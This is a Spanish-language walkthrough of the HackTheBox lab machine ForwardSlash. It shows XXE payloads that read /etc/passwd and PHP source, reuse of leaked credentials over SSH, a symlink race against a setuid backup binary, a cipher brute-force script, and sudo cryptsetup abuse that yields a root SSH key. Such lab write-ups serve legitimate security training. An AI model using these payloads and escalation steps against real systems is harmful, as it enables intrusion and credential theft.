ForwardSlash es una de las maquinas existentes actualmente en la plataforma de hacking HackTheBox y es de dificultad difícil.
En este caso se trata de una máquina basada en el Sistema Operativo Linux.
Índice
Escaneo de puertos
Como de costumbre, agregamos la IP de la máquina ForwardSlash 10.10.10.183 a /etc/hosts como forwardslash.htb y comenzamos con el escaneo de puertos nmap.
1 2 3 4 5 6 7 8 9 10 11 |
# Nmap 7.80 scan initiated Sat May 16 00:45:14 2020 as: nmap -sV -Pn -p- -oA forwardslash-nmap2 10.10.10.183 Nmap scan report for forwardslash.htb (10.10.10.183) Host is up (0.050s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Sat May 16 00:46:50 2020 -- 1 IP address (1 host up) scanned in 96.92 seconds |
En esta máquina no tenemos abiertos apenas servicios así que iremos directamente al puerto 80 donde vemos el siguiente portal web:
Enumeración
Escaneamos el portal con dirb mientras investigamos la web pero no encontramos prácticamente nada al respecto, sólo un fichero llamado note.txt con el siguiente contenido:
1 2 3 4 |
Pain, we were hacked by some skids that call themselves the "Backslash Gang"... I know... That name... Anyway I am just leaving this note here to say that we still have that backup site so we should be fine. -chiv |
En el mismo parece que chiv puede ser un posible usuario en la máquina y menciona que todavía está todo bien porque está disponible el site backup.
Añadiremos a nuestro fichero /etc/hosts dicho sitio para poder acceder al mismo:
1 2 |
10.10.10.183 forwardslash.htb 10.10.10.183 backup.forwardslash.htb |
Y accedemos al portal de backup donde vemos un formulario de login:
Puesto que no tenemos una cuenta, nos creamos una a través del enlace de “sign up now” y nos logueamos en el portal accediendo a la siguiente ventana en la url /welcome.php
En esta sección, tenemos varias opciones a nuestra disposición como cambiar el password, nombre de usuario, imagen de perfil, etc.
Procedemos a acceder a la sección de cambiar de perfil pero está deshabilitada así que la dejaremos, al menos de momento.
Al descubrir el portal, habíamos lanzado otra vez la herramienta dirb, y descubrimos otra página bajo el directorio de /dev donde disponemos de un formulario para el envío de datos por xml. En esta sección hicimos varias pruebas y es necesario que el usuario con el cual se accede tenga el nombre de admin, si no es el caso, la página devolverá un error 403 prohibiendo el acceso:
Esto nos da que pensar, ante la posibilidad de que el mismo sea vulnerable a XXE por lo que para comprobarlo lanzamos una primera consulta para obtener el fichero /etc/passwd con el siguiente payload:
1 2 3 4 5 6 7 8 |
<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <api> <request>&xxe;</request> </api> |
Y conseguimos que nos devuelva el contenido del fichero:
Aquí conseguimos encontrar dos posibles usuarios potenciales con los que obtener acceso a la máquina, chiv y pain.
Después de esto procedemos a descargar diferentes ficheros del portal con la idea de encontrar las credenciales de alguno de los usuarios descubiertos y conseguimos la misma con el fichero index.php de este mismo directorio dev con la siguiente carga útil:
1 2 3 4 5 6 7 8 |
<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/backup.forwardslash.htb/dev/index.php" > ]> <api> <request>&xxe;</request> </api> |
Decodificamos el contenido del base64 obtenido y conseguimos el código del fichero index.php que es el siguiente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 |
<?php //include_once ../session.php; // Initialize the session session_start(); if((!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true || $_SESSION['username'] !== "admin") && $_SERVER['REMOTE_ADDR'] !== "127.0.0.1"){ header('HTTP/1.0 403 Forbidden'); echo "<h1>403 Access Denied</h1>"; echo "<h3>Access Denied From ", $_SERVER['REMOTE_ADDR'], "</h3>"; //echo "<h2>Redirecting to login in 3 seconds</h2>" //echo '<meta http-equiv="refresh" content="3;url=../login.php" />'; //header("location: ../login.php"); exit; } ?> <html> <h1>XML Api Test</h1> <h3>This is our api test for when our new website gets refurbished</h3> <form action="/dev/index.php" method="get" id="xmltest"> <textarea name="xml" form="xmltest" rows="20" cols="50"><api> <request>test</request> </api> </textarea> <input type="submit"> </form> </html> <!-- TODO: Fix FTP Login --> <?php if ($_SERVER['REQUEST_METHOD'] === "GET" && isset($_GET['xml'])) { $reg = '/ftp:\/\/[\s\S]*\/\"/'; //$reg = '/((((25[0-5])|(2[0-4]\d)|([01]?\d?\d)))\.){3}((((25[0-5])|(2[0-4]\d)|([01]?\d?\d))))/' if (preg_match($reg, $_GET['xml'], $match)) { $ip = explode('/', $match[0])[2]; echo $ip; error_log("Connecting"); $conn_id = ftp_connect($ip) or die("Couldn't connect to $ip\n"); error_log("Logging in"); if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) { error_log("Getting file"); echo ftp_get_string($conn_id, "debug.txt"); } exit; } libxml_disable_entity_loader (false); $xmlfile = $_GET["xml"]; $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $api = simplexml_import_dom($dom); $req = $api->request; echo "-----output-----<br>\r\n"; echo "$req"; } function ftp_get_string($ftp, $filename) { $temp = fopen('php://temp', 'r+'); if (@ftp_fget($ftp, $temp, $filename, FTP_BINARY, 0)) { rewind($temp); return stream_get_contents($temp); } else { return false; } } ?> |
En el que vemos unas credenciales del usuario chiv en la siguiente línea:
1 |
if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) { |
Probamos el acceso a la máquina y ya estamos dentro con el usuario chiv:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 |
$ ssh chiv@forwardslash.htb chiv@forwardslash.htb's password: Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Sat May 16 16:41:48 UTC 2020 System load: 0.02 Processes: 183 Usage of /: 30.7% of 19.56GB Users logged in: 1 Memory usage: 20% IP address for ens33: 10.10.10.183 Swap usage: 0% * Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch 16 packages can be updated. 0 updates are security updates. Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Sat May 16 16:29:59 2020 from 10.10.14.73 chiv@forwardslash:~$ whoami chiv chiv@forwardslash:~$ |
Pero este usuario no tiene permisos para leer la flag así que seguiremos buscando.
Escalado de lateral
Ahora que ya estamos dentro, observamos que en el directorio /home existe otro usuario, pain, así que tendremos que escalar al mismo para conseguir la flag de user, que se encuentra en la home de este usuario.
Enumeramos el sistema y obtenemos dos cosas que pueden sernos muy útiles, por una parte el directorio /var/backups:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 |
chiv@forwardslash:/var/backups$ ls -l total 804 -rw-r--r-- 1 root root 61440 Mar 24 06:25 alternatives.tar.0 -rw-r--r-- 1 root root 38908 Mar 24 06:17 apt.extended_states.0 -rw-r--r-- 1 root root 4115 Mar 6 14:17 apt.extended_states.1.gz -rw-r--r-- 1 root root 3909 Mar 5 14:46 apt.extended_states.2.gz -rw------- 1 pain pain 526 Jun 21 2019 config.php.bak -rw-r--r-- 1 root root 437 Mar 5 14:07 dpkg.diversions.0 -rw-r--r-- 1 root root 207 Mar 5 14:47 dpkg.statoverride.0 -rw-r--r-- 1 root root 668374 Mar 24 06:17 dpkg.status.0 -rw------- 1 root root 730 Mar 17 20:13 group.bak -rw------- 1 root shadow 604 Mar 17 20:13 gshadow.bak -r--r--r-- 1 root root 129 May 27 2019 note.txt -rw------- 1 root root 1660 Mar 5 14:46 passwd.bak drwxrwx--- 2 root backupoperator 4096 May 27 2019 recovery -rw------- 1 root shadow 1174 Mar 6 14:21 shadow.bak chiv@forwardslash:/var/backups$ |
Donde encontramos el fichero config.php.bak para el cual sólo tiene permisos el usuario pain, y el fichero note.txt cuyo contenido es el siguiente:
1 2 3 |
Chiv, this is the backup of the old config, the one with the password we need to actually keep safe. Please DO NOT TOUCH. -Pain |
Nos dice que es el sitio del backup antiguo, y que no lo toquemos, así que obviamente, no vamos a hacer lo que nos dice, tendremos que tocarlo jaja.
Buscamos los posibles ficheros binarios a los cuales tenemos acceso y encontramos uno en particular muy interesante:
1 2 3 4 |
$ find / -perm /4000 2>/dev/null ... /usr/bin/backup ... |
Ejecutamos el mismo y obtenemos la siguiente salida:
1 2 3 4 5 6 7 8 9 10 |
chiv@forwardslash:~$ backup ---------------------------------------------------------------------- Pain's Next-Gen Time Based Backup Viewer v0.1 NOTE: not reading the right file yet, only works if backup is taken in same second ---------------------------------------------------------------------- Current Time: 19:36:49 ERROR: bf978ef517d1efa5192f1eee08e09deb Does Not Exist or Is Not Accessible By Me, Exiting... |
Parece que el script falla porque no existe el fichero o, porque no tenemos permisos en el mismo. Después de un rato investigando a fondo y comprobando las posibilidades creamos un script simple para tratar de obtener el fichero mencionado de /var/backups a través de un enlace y con el nombre del hash de la hora del sistema en el momento de la ejecución. El script es el siguiente:
1 2 3 4 5 6 |
#!/bin/bash time="$(date +%H:%M:%S | tr -d '\n' | md5sum | tr -d ' -')" echo "$time" ln -s /var/backups/config.php.bak /home/chiv/$time backup |
Ejecutamos el mismo y bingo, conseguimos el contenido del fichero config.php.bak al ejecutar el binario de backup:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
chiv@forwardslash:~$ ./time.sh 575933dc6924bf730b4eafc24e4c7b1c ---------------------------------------------------------------------- Pain's Next-Gen Time Based Backup Viewer v0.1 NOTE: not reading the right file yet, only works if backup is taken in same second ---------------------------------------------------------------------- Current Time: 19:35:18 <?php /* Database credentials. Assuming you are running MySQL server with default setting (user 'root' with no password) */ define('DB_SERVER', 'localhost'); define('DB_USERNAME', 'pain'); define('DB_PASSWORD', 'db1f73a72678e857d91e71d2963a1afa9efbabb32164cc1d94dbc704'); define('DB_NAME', 'site'); /* Attempt to connect to MySQL database */ $link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME); // Check connection if($link === false){ die("ERROR: Could not connect. " . mysqli_connect_error()); } ?> chiv@forwardslash:~$ |
Y con ello la password del usuario pain.
Obteniendo la flag de user
Con las credenciales obtenidas escalamos al usuario pain y conseguimos la flag de user:
1 2 3 4 5 6 7 8 9 10 11 |
chiv@forwardslash:~$ su pain Password: pain@forwardslash:/home/chiv$ whoami pain pain@forwardslash:/home/chiv$ cd pain@forwardslash:~$ ls -l total 12 drwxr-xr-x 2 pain root 4096 May 16 21:52 encryptorinator -rw-r--r-- 1 pain root 256 Jun 3 2019 note.txt -rw------- 1 pain pain 33 May 16 20:05 user.txt pain@forwardslash:~$ |
Escalando privilegios a root
Estamos un poco más cerca de root así que revisaremos a continuación los permisos del usuario pain:
1 2 3 4 5 6 7 8 9 |
pain@forwardslash:/var/backups$ sudo -l Matching Defaults entries for pain on forwardslash: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User pain may run the following commands on forwardslash: (root) NOPASSWD: /sbin/cryptsetup luksOpen * (root) NOPASSWD: /bin/mount /dev/mapper/backup ./mnt/ (root) NOPASSWD: /bin/umount ./mnt/ pain@forwardslash:/var/backups$ |
Y observamos la carpeta recovery a la que no teníamos acceso antes:
1 2 3 4 |
pain@forwardslash:/var/backups$ ls -l recovery/ total 976568 -rw-r----- 1 root backupoperator 1000000000 Mar 24 12:12 encrypted_backup.img pain@forwardslash:/var/backups$ |
Parece que el backup está encriptado, así que siguiendo con la búsqueda encontramos un directorio llamado encryptorinator en la home del usuario pain y en la misma un script en python y un fichero con un texto cifrado:
1 2 3 4 5 |
pain@forwardslash:~$ ls -l encryptorinator/ total 8 -rw-r--r-- 1 pain root 165 Jun 3 2019 ciphertext -rw-r--r-- 1 pain root 931 Jun 3 2019 encrypter.py pain@forwardslash:~$ |
Analizamos el script en python y su código es el siguiente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 |
def encrypt(key, msg): key = list(key) msg = list(msg) for char_key in key: for i in range(len(msg)): if i == 0: tmp = ord(msg[i]) + ord(char_key) + ord(msg[-1]) else: tmp = ord(msg[i]) + ord(char_key) + ord(msg[i-1]) while tmp > 255: tmp -= 256 msg[i] = chr(tmp) return ''.join(msg) def decrypt(key, msg): key = list(key) msg = list(msg) for char_key in reversed(key): for i in reversed(range(len(msg))): if i == 0: tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1])) else: tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1])) while tmp < 0: tmp += 256 msg[i] = chr(tmp) return ''.join(msg) print encrypt('REDACTED', 'REDACTED') print decrypt('REDACTED', encrypt('REDACTED', 'REDACTED')) |
Tenemos la función a través de la cual se ha cifrado y el código para descifrarlo pero parece que vamos a necesitar algo más, creamos nuestro exploit en python, cuyo contenido es el siguiente:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 |
def decrypt(key, msg): key = list(key) msg = list(msg) for char_key in reversed(key): for i in reversed(range(len(msg))): if i == 0: tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1])) else: tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1])) while tmp < 0: tmp += 256 msg[i] = chr(tmp) return ''.join(msg) ciphertext = open('ciphertext', 'r').read().rstrip() for i in range(1,165): for n in range(33,127): key = chr(n) * i msg = decrypt(key, ciphertext) if 'the ' in msg : print "key: %s, key length: %s, msg: %s" %(key,len(key),msg) exit() |
Como se aprecia, copiamos el código de descifrado, y le añadimos el código para abrir el fichero e ir comprobando el decodificado realizado. Ejecutaremos el mismo y obtenemos el siguiente texto descifrado:
1 |
key: ttttttttttttttttt, key length: 17, msg: Hl��vF��;�������&you liked my new encryption tool, pretty secure huh, anyway here is the key to the encrypted image from /var/backups/recovery: cB!6%sdH8Lj^@Y*$C2cf |
Y tenemos la clave para descifrar el fichero de imagen que encontramos en la ruta del backup.
Volviendo a los permisos de sudo de los que disponía el usuario:
1 2 3 4 |
User pain may run the following commands on forwardslash: (root) NOPASSWD: /sbin/cryptsetup luksOpen * (root) NOPASSWD: /bin/mount /dev/mapper/backup ./mnt/ (root) NOPASSWD: /bin/umount ./mnt/ |
Podemos descifrar cualquier archivo con luks, montar la unidad de /dev/mapper/backup sobre ./mnt y desmontar la unidad sobre mnt, así que procedemos en primer paso a descifrar el archivo de imagen encontrado:
1 2 3 |
pain@forwardslash:/dev/mapper$ sudo /sbin/cryptsetup luksOpen /var/backups/recovery/encrypted_backup.img backup Enter passphrase for /var/backups/recovery/encrypted_backup.img: pain@forwardslash:/dev/mapper$ |
Posteriormente lo montamos:
1 2 |
pain@forwardslash:/$ sudo /bin/mount /dev/mapper/backup ./mnt/ pain@forwardslash:/$ |
Y revisamos el contenido:
1 2 3 4 5 |
pain@forwardslash:/$ ll /mnt/ total 8 drwxr-xr-x 2 root root 20 Mar 17 20:07 ./ drwxr-xr-x 24 root root 4096 Mar 24 06:17 ../ -rw-r--r-- 1 root root 1675 May 27 2019 id_rsa |
Y tenemos una clave para el acceso de ssh del usuario root.
Obteniendo la flag de root
Con la clave ssh obtenida, probamos el acceso como root a la máquina:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 |
$ ssh -i id_rsa root@forwardslash.htb The authenticity of host 'forwardslash.htb (10.10.10.183)' can't be established. ECDSA key fingerprint is SHA256:7DrtoyB3GmTDLmPm01m7dHeoaPjA7+ixb3GDFhGn0HM. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added 'forwardslash.htb,10.10.10.183' (ECDSA) to the list of known hosts. Welcome to Ubuntu 18.04.4 LTS (GNU/Linux 4.15.0-91-generic x86_64) * Documentation: https://help.ubuntu.com * Management: https://landscape.canonical.com * Support: https://ubuntu.com/advantage System information as of Sat May 16 19:17:57 UTC 2020 System load: 0.03 Processes: 200 Usage of /: 30.9% of 19.56GB Users logged in: 1 Memory usage: 21% IP address for ens33: 10.10.10.183 Swap usage: 0% => There is 1 zombie process. * Canonical Livepatch is available for installation. - Reduce system reboots and improve kernel security. Activate at: https://ubuntu.com/livepatch 16 packages can be updated. 0 updates are security updates. Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings Last login: Tue Mar 24 12:11:46 2020 from 10.10.14.3 root@forwardslash:~# id uid=0(root) gid=0(root) groups=0(root) root@forwardslash:~# root@forwardslash:~# ls -l total 4 -rw------- 1 root root 33 May 16 13:53 root.txt root@forwardslash:~# |
Y ya tenemos nuestra flag de root para completar esta máquina y conseguir nuestros puntos.
Si eres usuario de HackTheBox y te gustó mi writeup, por favor, dame respecto en el siguiente enlace https://www.hackthebox.eu/home/users/profile/103792